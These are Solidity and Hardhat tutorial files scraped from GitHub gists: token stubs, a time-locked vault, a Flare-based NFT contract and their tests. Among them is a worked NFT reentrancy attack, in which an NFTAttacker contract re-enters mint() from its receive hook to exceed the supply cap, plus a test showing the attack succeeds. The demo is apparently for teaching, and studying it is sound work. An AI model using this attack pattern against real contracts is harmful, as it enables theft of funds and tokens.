await improvedVault.withdraw([secondAccount.address],{from: owner.address}); | |
const balanceAfter = bn(await web3.eth.getBalance(secondAccount.address)); | |
// Should have the same amount minus gas costs | |
expect(balanceBefore).to.equal( | |
(balanceAfter).sub(bn(123)) | |
); | |
}) | |
}) | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Token is IERC20 { | |
function totalSupply() external view override returns (uint256) {} | |
function balanceOf(address account) | |
external | |
view | |
override | |
returns (uint256) | |
{} | |
function transfer(address to, uint256 amount) | |
external | |
override | |
returns (bool) | |
{} | |
function allowance(address owner, address spender) | |
external | |
view | |
override | |
returns (uint256) | |
{} | |
function approve(address spender, uint256 amount) | |
external | |
override | |
returns (bool) | |
{} | |
function transferFrom( | |
address from, | |
address to, | |
uint256 amount | |
) external override returns (bool) {} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.9; | |
contract MyToken { | |
string public constant name = "MyToken"; | |
string public constant symbol = "MTK"; | |
uint256 public totalSupply; | |
address public owner; | |
constructor(uint256 _totalSupply, address _owner) { | |
totalSupply = _totalSupply; | |
owner = _owner; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.9; | |
import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; | |
import { AttackableSimpleNFT } from "./AttackableNFTToken.sol"; | |
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; | |
contract NFTAttacker is IERC721Receiver { | |
uint256 public mintTarget = 0; | |
uint256 public tokenPrice = 1 ether; | |
uint256 counter = 0; | |
address immutable owner; | |
constructor() { | |
owner = msg.sender; | |
} | |
function onERC721Received( | |
address, | |
address, | |
uint256, | |
bytes memory | |
) public virtual override returns (bytes4) { | |
++counter; | |
if(mintTarget > 0){ | |
--mintTarget; | |
AttackableSimpleNFT(msg.sender).mint{value:tokenPrice}(); | |
} | |
return this.onERC721Received.selector; | |
} | |
function startAttack(address nftAddress) public { | |
require(msg.sender == owner, "Only owner can start attack"); | |
AttackableSimpleNFT(nftAddress).mint{value:tokenPrice}(); | |
} | |
function resetMintTarget(uint256 newTarget, uint256 newTokenPrice) public { | |
require(msg.sender == owner, "Only owner can reset mint target"); | |
mintTarget = newTarget; | |
tokenPrice = newTokenPrice; | |
} | |
// Allow transfer of tokens | |
fallback() payable external{} | |
receive() payable external{} | |
function drainFunds() public { | |
require(msg.sender == owner, "Only owner can drain funds"); | |
payable(msg.sender).transfer(address(this).balance); | |
} | |
// Take tokens out of the contract | |
function transferTo(IERC721 token, address to, uint256 tokenId) public { | |
token.transferFrom(address(this), to, tokenId); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) | |
// OpenZeppelin: https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/171fa40bc8819c0393bab8e70778cf63bf08fb07/contracts/token/ERC20/IERC20.sol | |
pragma solidity ^0.8.0; | |
/** | |
* @dev Interface of the ERC20 standard as defined in the EIP. | |
*/ | |
interface IERC20 { | |
/** | |
* @dev Emitted when `value` tokens are moved from one account (`from`) to | |
* another (`to`). | |
* | |
* Note that `value` may be zero. | |
*/ | |
event Transfer(address indexed from, address indexed to, uint256 value); | |
/** | |
* @dev Emitted when the allowance of a `spender` for an `owner` is set by | |
* a call to {approve}. `value` is the new allowance. | |
*/ | |
event Approval(address indexed owner, address indexed spender, uint256 value); | |
/** | |
* @dev Returns the amount of tokens in existence. | |
*/ | |
function totalSupply() external view returns (uint256); | |
/** | |
* @dev Returns the amount of tokens owned by `account`. | |
*/ | |
function balanceOf(address account) external view returns (uint256); | |
/** | |
* @dev Moves `amount` tokens from the caller's account to `to`. | |
* | |
* Returns a boolean value indicating whether the operation succeeded. | |
* | |
* Emits a {Transfer} event. | |
*/ | |
function transfer(address to, uint256 amount) external returns (bool); | |
/** | |
* @dev Returns the remaining number of tokens that `spender` will be | |
* allowed to spend on behalf of `owner` through {transferFrom}. This is | |
* zero by default. | |
* | |
* This value changes when {approve} or {transferFrom} are called. | |
*/ | |
function allowance(address owner, address spender) external view returns (uint256); | |
/** | |
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. | |
* | |
* Returns a boolean value indicating whether the operation succeeded. | |
* | |
* IMPORTANT: Beware that changing an allowance with this method brings the risk | |
* that someone may use both the old and the new allowance by unfortunate | |
* transaction ordering. One possible solution to mitigate this race | |
* condition is to first reduce the spender's allowance to 0 and set the | |
* desired value afterwards: | |
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 | |
* | |
* Emits an {Approval} event. | |
*/ | |
function approve(address spender, uint256 amount) external returns (bool); | |
/** | |
* @dev Moves `amount` tokens from `from` to `to` using the | |
* allowance mechanism. `amount` is then deducted from the caller's | |
* allowance. | |
* | |
* Returns a boolean value indicating whether the operation succeeded. | |
* | |
* Emits a {Transfer} event. | |
*/ | |
function transferFrom( | |
address from, | |
address to, | |
uint256 amount | |
) external returns (bool); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
it.only('Should revert on error', async () => { | |
const [_, addr1] = await ethers.getSigners(); | |
expect( | |
token.transfer(addr1.address, totalSupply.add(bn(10)), { from: owner.address }) | |
).to.be.reverted; | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const [owner] = await ethers.getSigners(); | |
const totalSupply = bn(10).pow(bn(19)); | |
const myToken = await MyToken.new(totalSupply, owner.address, {from: owner.address}); | |
expect( | |
await myToken.totalSupply() | |
).to.equal(totalSupply, "Invalid total supply"); | |
expect( | |
await myToken.owner() | |
).to.equal(owner.address, "Invalid owner"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract MyToken { | |
string public constant name = "MyToken"; | |
string public constant symbol = "MTK"; | |
uint256 public totalSupply; | |
address public owner; | |
constructor(uint256 _totalSupply, address _owner) { | |
totalSupply = _totalSupply; | |
owner = _owner; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
constructor(uint256 _totalSupply, address _owner) { | |
totalSupply = _totalSupply; | |
owner = _owner; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Add this line before the contract definition | |
error InsufficientBalance(uint256 available, uint256 required); | |
contract Token { | |
// Part of the code is hidden | |
function transfer(address to, uint256 amount) | |
external | |
override | |
returns (bool) | |
{ | |
// Older versions of solidity would need to use string as the error message | |
// require(_balances[msg.sender] >= amount, "Not enough tokens"); | |
if (amount > _balances[msg.sender]){ | |
revert InsufficientBalance(_balances[msg.sender], amount); | |
} | |
_balances[msg.sender] -= amount; | |
_balances[to] += amount; | |
emit Transfer(msg.sender, to, amount); | |
return true; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
describe("Deployment", async () => { | |
it("Should set the total supply of tokens and owner", async () => { | |
expect( | |
await token.totalSupply() | |
).to.equal(totalSupply, "Invalid total supply"); | |
expect( | |
await token.balanceOf(owner.address) | |
).to.equal(totalSupply, "Invalid owner balance"); | |
}) | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
it('Should transfer', async () => { | |
const [_, addr1] = await ethers.getSigners(); | |
expect( | |
await token.balanceOf(owner.address) | |
).to.equal(totalSupply, "Invalid owner balance"); | |
// Address should have no balance | |
expect( | |
await token.balanceOf(addr1.address) | |
).to.equal(bn(0), "Invalid owner balance"); | |
const amountToTransfer = bn("1000") | |
// Transfer token to addr1 | |
await token.transfer(addr1.address, amountToTransfer, { from: owner.address }); | |
expect( | |
await token.balanceOf(owner.address) | |
).to.equal(totalSupply.sub(amountToTransfer), "Invalid owner balance"); | |
expect( | |
await token.balanceOf(addr1.address) | |
).to.equal(amountToTransfer, "Invalid owner balance"); | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { ethers } from 'hardhat'; | |
import { BN } from "bn.js"; | |
import { expect } from 'chai'; | |
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; | |
const { expectRevert } = require('@openzeppelin/test-helpers'); | |
import { | |
NFTAttackerContract, AttackableSimpleNFTContract, AttackableSimpleNFTInstance | |
} from '../typechain-types/' | |
const NFTAttacker: NFTAttackerContract = artifacts.require("NFTAttacker"); | |
const AttackableSimpleNFT: AttackableSimpleNFTContract = artifacts.require("TestableAttackableSimpleNFT"); | |
function bn(n: any){ | |
return new BN(n.toString()); | |
} | |
describe('NFT reentrancy attack', async () => { | |
const nftPrice = bn(100) | |
const maxNftSupply = bn(3) | |
let deployer1: SignerWithAddress | |
let deployer2: SignerWithAddress | |
let deployer3: SignerWithAddress | |
let nftToken: AttackableSimpleNFTInstance | |
beforeEach(async () => { | |
[deployer1, deployer2, deployer3] = await ethers.getSigners(); | |
nftToken = await AttackableSimpleNFT.new("", "", nftPrice, maxNftSupply, {from: deployer1.address}); | |
}) | |
it("Should not mint more than specified tokens normally", async () => { | |
for(let i = 0; i < maxNftSupply.toNumber(); i++){ | |
await nftToken.mint({from: deployer1.address, value: nftPrice}); | |
} | |
await expectRevert( | |
nftToken.mint({from: deployer1.address, value: nftPrice}), "No tokens left" | |
) | |
}) | |
it("Should be attackable", async () => { | |
const attacker = await NFTAttacker.new({from: deployer2.address}); | |
const targetNftNumber = maxNftSupply.mul(bn(2)); | |
expect(targetNftNumber).greaterThan(maxNftSupply); | |
// TODO: Attack | |
for(let i = 1; i < targetNftNumber.toNumber() + 1; i++){ | |
expect(await nftToken.ownerOf(i)).to.equal(deployer3.address); | |
} | |
}) | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { ethers } from 'hardhat'; | |
import { BN } from "bn.js"; | |
import { expect } from 'chai'; | |
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; | |
const { expectRevert } = require('@openzeppelin/test-helpers'); | |
import { | |
NFTAttackerContract, AttackableSimpleNFTContract, AttackableSimpleNFTInstance | |
} from '../typechain-types/' | |
const NFTAttacker: NFTAttackerContract = artifacts.require("NFTAttacker"); | |
const AttackableSimpleNFT: AttackableSimpleNFTContract = artifacts.require("TestableAttackableSimpleNFT"); | |
function bn(n: any){ | |
return new BN(n.toString()); | |
} | |
describe('NFT reentrancy attack', async () => { | |
const nftPrice = bn(100) | |
const maxNftSupply = bn(3) | |
let deployer1: SignerWithAddress | |
let deployer2: SignerWithAddress | |
let deployer3: SignerWithAddress | |
let nftToken: AttackableSimpleNFTInstance | |
beforeEach(async () => { | |
[deployer1, deployer2, deployer3] = await ethers.getSigners(); | |
nftToken = await AttackableSimpleNFT.new("", "", nftPrice, maxNftSupply, {from: deployer1.address}); | |
}) | |
it("Should not mint more than specified tokens normally", async () => { | |
for(let i = 0; i < maxNftSupply.toNumber(); i++){ | |
await nftToken.mint({from: deployer1.address, value: nftPrice}); | |
} | |
await expectRevert( | |
nftToken.mint({from: deployer1.address, value: nftPrice}), "No tokens left" | |
) | |
}) | |
it("Should be attackable", async () => { | |
const attacker = await NFTAttacker.new({from: deployer2.address}); | |
const targetNftNumber = maxNftSupply.mul(bn(2)); | |
expect(targetNftNumber).greaterThan(maxNftSupply); | |
await attacker.resetMintTarget(targetNftNumber, nftPrice, {from: deployer2.address}); | |
await attacker.send(nftPrice.mul(targetNftNumber).mul(bn(10)), {from: deployer2.address}); | |
await attacker.startAttack(nftToken.address, {from: deployer2.address}); | |
console.log("Attacker balance: ", (await nftToken.balanceOf(attacker.address)).toString()) | |
console.log("Max available nfts: ", (await nftToken.maxTokens()).toString()) | |
console.log("Minted NFT-s: ", (await nftToken.currentToken()).toString()) | |
for(let i = 1; i < targetNftNumber.toNumber() + 1; i++){ | |
expect(await nftToken.ownerOf(i)).to.equal(attacker.address); | |
} | |
// Check that tokens can be transferred | |
for(let i = 1; i < targetNftNumber.toNumber() + 1; i++){ | |
await attacker.transferTo(nftToken.address, deployer3.address, i); | |
} | |
for(let i = 1; i < targetNftNumber.toNumber() + 1; i++){ | |
expect(await nftToken.ownerOf(i)).to.equal(deployer3.address); | |
} | |
}) | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.9; | |
import { ERC721Enumerable, ERC721 } from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; | |
import { IERC721Metadata } from "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; | |
import { IFtso } from "@flarenetwork/flare-periphery-contracts/songbird/contracts/userInterfaces/IFtso.sol"; | |
import { IPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/songbird/contracts/userInterfaces/IPriceSubmitter.sol"; | |
import { IFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/songbird/contracts/userInterfaces/IFtsoRegistry.sol"; | |
error InsufficientAmount(); | |
error NotOwner(); | |
contract SimpleNFT is ERC721Enumerable { | |
string[14] uidLinks = [ | |
"ipfs://ipfs/bafkreieybi64qgt2nd24ht7e5bkgcfmallurlyqrtufftbzlh65sei4zrq", | |
"ipfs://ipfs/bafkreigxf6kwo7qq2nds4b4vzqhyy7yj37hkdfkwhs24xy6rayvbf5yfgy", | |
"ipfs://ipfs/bafkreichupmk6f4uxwvy4izkswlyu3viwlyqaabjwreyd6j3f66tyw33ge", | |
"ipfs://ipfs/bafkreidruphdcmqb2s5ibympfmuilpuzd64xj3xlu7sruffy2w7hw3oo4u", | |
"ipfs://ipfs/bafkreiadsbrd4knarjarfmcswxye762h5gcfigdk4xqq4wud2rwhnxttsm", | |
"ipfs://ipfs/bafkreiat7y3wez6e6autxn73mvjluoxc5gjwzrcjmlrv3outxnm4wdar7m", | |
"ipfs://ipfs/bafkreieg6xotxyxetew65fg47iy4peu2vsjjr67raxlz5nkm65ebvolrx4", | |
"ipfs://ipfs/bafkreia3j4oparmlz37kzq5msoix55nz25ucsfgsv5euhuss72vrcmin34", | |
"ipfs://ipfs/bafkreiawnajxljlztnxyu23hodvysac37seio7scvfwjyb6gqrdomc5gxe", | |
"ipfs://ipfs/bafkreigvq7766epo3bhpg67oxfuxlofzjt2a6ht2aj2suwdviwezs4l4mq", | |
"ipfs://ipfs/bafkreigniof2fm2ooeiwomvhachcu2kj74rgz43j4665fcff6tkovmqvs4", | |
"ipfs://ipfs/bafkreiaqdet3dm2rwpgj4xgi7l2ypefqukanwkeqykajojinuhhbqptpqi", | |
"ipfs://ipfs/bafkreidejgskxyv6orhpitmq6oxg4meizm6iqeypvx7yymtdbuel7s3itq", | |
"ipfs://ipfs/bafkreieitl5zfhrwvtnu42gcd5mozuqjcbrrv7vwr2ur7nnxcztmemm4yq" | |
]; | |
uint256 immutable tokenPrice; | |
address immutable owner; | |
mapping (uint256 => uint256) private tokenUidLinkIndex; | |
constructor(string memory name_, string memory symbol_, uint256 tokenPrice_) | |
ERC721(name_, symbol_) | |
{ | |
tokenPrice = tokenPrice_; | |
owner = msg.sender; | |
} | |
function mint() public payable { | |
if (msg.value < tokenPrice){ | |
revert InsufficientAmount(); | |
} | |
uint256 tokenId = totalSupply() + 1; | |
tokenUidLinkIndex[tokenId] = uint256(keccak256(abi.encode(getCurrentRandom(), tokenId))) % uidLinks.length; | |
_safeMint(msg.sender, tokenId); | |
} | |
function tokenURI(uint256 tokenId) public view override returns (string memory) { | |
_requireMinted(tokenId); | |
return uidLinks[tokenUidLinkIndex[tokenId]]; | |
} | |
function withdraw() external { | |
if (msg.sender != owner){ | |
revert NotOwner(); | |
} | |
payable(owner).transfer(address(this).balance); | |
} | |
function getPriceSubmitter() public virtual view returns(IPriceSubmitter) { | |
return IPriceSubmitter(0x1000000000000000000000000000000000000003); | |
} | |
function getCurrentRandom() public view returns(uint256 currentRandom) { | |
IFtsoRegistry ftsoRegistry = IFtsoRegistry(address(getPriceSubmitter().getFtsoRegistry())); | |
IFtso ftso = IFtso(ftsoRegistry.getFtso(0)); | |
return ftso.getCurrentRandom(); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { ethers } from 'hardhat'; | |
import { BN } from "bn.js"; | |
import { expect } from 'chai'; | |
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; | |
import { TestableSimpleNFTContract, TestableSimpleNFTInstance, | |
GatewayPriceSubmitterInstance, GatewayPriceSubmitterContract, | |
MockFtsoRegistryInstance, MockFtsoRegistryContract, | |
MockFtsoContract, MockFtsoInstance | |
} from '../typechain-types/' | |
const TestableSimpleNFT: TestableSimpleNFTContract = artifacts.require("TestableSimpleNFT"); | |
const GatewayPriceSubmitter: GatewayPriceSubmitterContract = artifacts.require("@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockPriceSubmitter.sol:GatewayPriceSubmitter"); | |
const MockFtsoRegistry: MockFtsoRegistryContract = artifacts.require("@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockFtsoRegistry.sol:MockFtsoRegistry"); | |
const MockFtso: MockFtsoContract = artifacts.require("@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockFtso.sol:MockFtso"); | |
function bn(n: any){ | |
return new BN(n.toString()); | |
} | |
describe('Dynamic token', async () => { | |
let owner: SignerWithAddress | |
let simpleNFT: TestableSimpleNFTInstance | |
let priceSubmitter: GatewayPriceSubmitterInstance | |
let ftsoRegistry: MockFtsoRegistryInstance | |
let btcFTSO: MockFtsoInstance | |
beforeEach(async () => { | |
[owner] = await ethers.getSigners(); | |
const testableToken = await TestableSimpleNFT.new( | |
"Flare XKCD Nft", | |
"FXKCD", | |
1000 | |
); | |
simpleNFT = testableToken; | |
priceSubmitter = await GatewayPriceSubmitter.new(); | |
ftsoRegistry = await MockFtsoRegistry.new(); | |
btcFTSO = await MockFtso.new("BTC"); | |
await btcFTSO.setCurrentRandom(bn(100), bn(0)); | |
await ftsoRegistry.addFtso(btcFTSO.address); | |
await priceSubmitter.setFtsoRegistry(ftsoRegistry.address); | |
await testableToken.setPriceSubmitter(priceSubmitter.address); | |
}) | |
describe("Minting", async () => { | |
it("Should mint an NFT", async () => { | |
await simpleNFT.mint({value: 1000}); | |
const balance = await simpleNFT.balanceOf(owner.address); | |
expect(balance).to.equal(bn(1)); | |
}) | |
it("Should mint multiple NFTS", async () => { | |
for(let a = 0; a < 10; a++){ | |
await simpleNFT.mint({value: 1000}); | |
} | |
const balance = await simpleNFT.balanceOf(owner.address); | |
expect(balance).to.equal(bn(10)); | |
}) | |
}) | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.exports = [ | |
"XKCD Token", | |
"FXKCD", | |
"1000000000000000000", | |
] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
struct Deposit { | |
uint256 depositAt; | |
uint256 amountWei; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { artifacts, ethers } from 'hardhat' | |
import { TokenContract, TokenInstance } from '../typechain-types' | |
const Token: TokenContract = artifacts.require('Token') | |
async function main(){ | |
const [deployer] = await ethers.getSigners(); | |
const secondAddress = "TODO"; | |
console.log("Deploying contracts with the account:", deployer.address); | |
console.log("Account balance:", (await deployer.getBalance()).toString()); | |
const token = await Token.new(1000, {from: deployer.address}); | |
console.log("Token address:", token.address); | |
const token2 = await Token.at(token.address); | |
await token2.transfer(secondAddress, 100, {from: deployer.address}); | |
console.log("Token balance:", (await token2.balanceOf(deployer.address)).toString()); | |
console.log("Token balance:", (await token2.balanceOf(secondAddress)).toString()); | |
} | |
main().then(() => process.exit(0)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const [owner] = await ethers.getSigners(); | |
const Token = await ethers.getContractFactory("MyToken"); | |
const totalSupply = BN("10").pow(BN(19)); | |
const hardhatToken = await Token.deploy(totalSupply, owner.address, {from: owner.address}); | |
expect( | |
await hardhatToken.totalSupply() | |
).to.equal(totalSupply, "Invalid total supply"); | |
expect( | |
await hardhatToken.owner() | |
).to.equal(owner.address, "Invalid owner"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.9; | |
import { DynamicTokenFlare, IPriceSubmitter } from "./DynamicTokenFlare.sol"; | |
contract TestableDynamicTokenFlare is DynamicTokenFlare { | |
address public priceSubmitterAddress; | |
constructor (uint256 _maxSupply, string memory _name, string memory _symbol, uint8 _decimals, string memory _nativeTokenSymbol, string memory _foreignTokenSymbol, uint256 _tokensPerForeignToken) DynamicTokenFlare(_maxSupply, _name, _symbol, _decimals, _nativeTokenSymbol, _foreignTokenSymbol, _tokensPerForeignToken) {} | |
function setPriceSubmitter(address _priceSubmitterAddress) external { | |
priceSubmitterAddress = _priceSubmitterAddress; | |
} | |
function getPriceSubmitter() public override view returns(IPriceSubmitter) { | |
return IPriceSubmitter(priceSubmitterAddress); | |
} | |
} | |
// Dummy imports for testing | |
import { GatewayPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/coston2/mockContracts/MockPriceSubmitter.sol"; | |
import { MockFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockFtsoRegistry.sol"; | |
import { MockFtso } from "@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockFtso.sol"; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.9; | |
import { DynamicTokenSongbird, IPriceSubmitter } from "./DynamicTokenSongbird.sol"; | |
contract TestableDynamicTokenSongbird is DynamicTokenSongbird { | |
address public priceSubmitterAddress; | |
constructor (uint256 _maxSupply, string memory _name, string memory _symbol, uint8 _decimals, string memory _nativeTokenSymbol, string memory _foreignTokenSymbol, uint256 _tokensPerForeignToken) DynamicTokenSongbird(_maxSupply, _name, _symbol, _decimals, _nativeTokenSymbol, _foreignTokenSymbol, _tokensPerForeignToken) {} | |
function setPriceSubmitter(address _priceSubmitterAddress) external { | |
priceSubmitterAddress = _priceSubmitterAddress; | |
} | |
function getPriceSubmitter() public override view returns(IPriceSubmitter) { | |
return IPriceSubmitter(priceSubmitterAddress); | |
} | |
} | |
// Dummy imports for testing | |
import { GatewayPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockPriceSubmitter.sol"; | |
import { MockFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockFtsoRegistry.sol"; | |
import { MockFtso } from "@flarenetwork/flare-periphery-contracts/flare/mockContracts/MockFtso.sol"; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.9; | |
import { SimpleNFT, IPriceSubmitter } from "./SimpleNFT.sol"; | |
contract TestableSimpleNFT is SimpleNFT { | |
address public priceSubmitterAddress; | |
constructor (string memory name_, string memory symbol_, uint256 tokenPrice_) SimpleNFT(name_, symbol_, tokenPrice_) {} | |
function setPriceSubmitter(address _priceSubmitterAddress) external { | |
priceSubmitterAddress = _priceSubmitterAddress; | |
} | |
function getPriceSubmitter() public override view returns(IPriceSubmitter) { | |
return IPriceSubmitter(priceSubmitterAddress); | |
} | |
} | |
// Dummy imports for testing | |
import { GatewayPriceSubmitter } from "@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockPriceSubmitter.sol"; | |
import { MockFtsoRegistry } from "@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockFtsoRegistry.sol"; | |
import { MockFtso } from "@flarenetwork/flare-periphery-contracts/songbird/mockContracts/MockFtso.sol"; | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { ethers } from 'hardhat'; | |
import { BN } from "bn.js"; | |
import { expect } from 'chai'; | |
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; | |
import { TokenContract, TokenInstance } from '../typechain-types/' | |
const Token: TokenContract = artifacts.require('Token') | |
function bn(n: any){ | |
return new BN(n.toString()); | |
} | |
const totalSupply = bn("10").pow(bn("19")); | |
describe('Token', async () => { | |
let token: TokenInstance | |
let owner: SignerWithAddress | |
beforeEach(async () => { | |
[owner] = await ethers.getSigners(); | |
token = await Token.new(totalSupply) | |
}) | |
describe('Transfer', async () => { | |
it('Should transfer', async () => { | |
}) | |
}) | |
}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { ethers } from 'hardhat'; | |
import { BN } from "bn.js"; | |
import { expect } from 'chai'; | |
import { | |
MyTokenContract | |
} from '../typechain-types/' | |
const MyToken: MyTokenContract = artifacts.require("MyToken"); | |
function bn(n: any){ | |
return new BN(n.toString()); | |
} | |
describe("Token contract", function () { | |
it("Deployment should assign the total supply of tokens and owner", async function () { | |
const [owner] = await ethers.getSigners(); | |
const totalSupply = bn(10).pow(bn(19)); | |
const myToken = await MyToken.new(totalSupply, owner.address, {from: owner.address}); | |
expect( | |
await myToken.totalSupply() | |
).to.equal(totalSupply, "Invalid total supply"); | |
expect( | |
await myToken.owner() | |
).to.equal(owner.address, "Invalid owner"); | |
}); | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.9; | |
struct Deposit { | |
uint256 depositAt; | |
uint256 amountWei; | |
} | |
error TimeLocked(uint256 timeLeft); | |
error NoDeposit(); | |
contract Vault { | |
mapping (address => Deposit) private _deposits; | |
address public owner; | |
uint256 public lockTime; | |
constructor(uint256 _lockTime){ | |
owner = msg.sender; | |
lockTime = _lockTime; | |
} | |
function withdraw() external { | |
Deposit memory userDeposit = _deposits[msg.sender]; | |
if (userDeposit.depositAt == 0) { | |
revert NoDeposit(); | |
} | |
if (block.timestamp < userDeposit.depositAt + lockTime) { | |
revert TimeLocked(userDeposit.depositAt + lockTime - block.timestamp); | |
} | |
delete _deposits[msg.sender]; | |
payable(msg.sender).transfer(userDeposit.amountWei); | |
} | |
function deposit() public payable { | |
Deposit memory existingDeposit = _deposits[msg.sender]; | |
// If the user has already deposited, we need to add the new amount to the existing deposit | |
// Otherwise, we just create a new deposit | |
// Since everything is zero-initialized, we treat a deposit of 0 as a non-existing deposit | |
// If the users updates their deposit, the lock time is reset | |
_deposits[msg.sender] = Deposit( | |
block.timestamp, | |
existingDeposit.amountWei + msg.value | |
); | |
} | |
// Forward everything to deposit | |
receive() external payable { | |
deposit(); | |
} | |
fallback() external payable { | |
deposit(); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { artifacts, ethers } from 'hardhat' | |
import type { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; | |
const helpers = require("@openzeppelin/test-helpers") | |
import chai from 'chai' | |
const { expect } = chai | |
import { VaultContract, VaultInstance } from '../typechain-types/' | |
const Vault: VaultContract = artifacts.require('Vault') | |
const BN = ethers.BigNumber.from; | |
const timeLock = 1000 | |
async function calcGasCost(result: Truffle.TransactionResponse<any>) { | |
let tr = await web3.eth.getTransaction(result.tx); | |
let txCost = BN(result.receipt.gasUsed).mul(BN(tr.gasPrice)); | |
return txCost; | |
}; | |
describe('Vault', async () => { | |
let vault: VaultInstance | |
let owner: SignerWithAddress | |
beforeEach(async () => { | |
[owner] = await ethers.getSigners(); | |
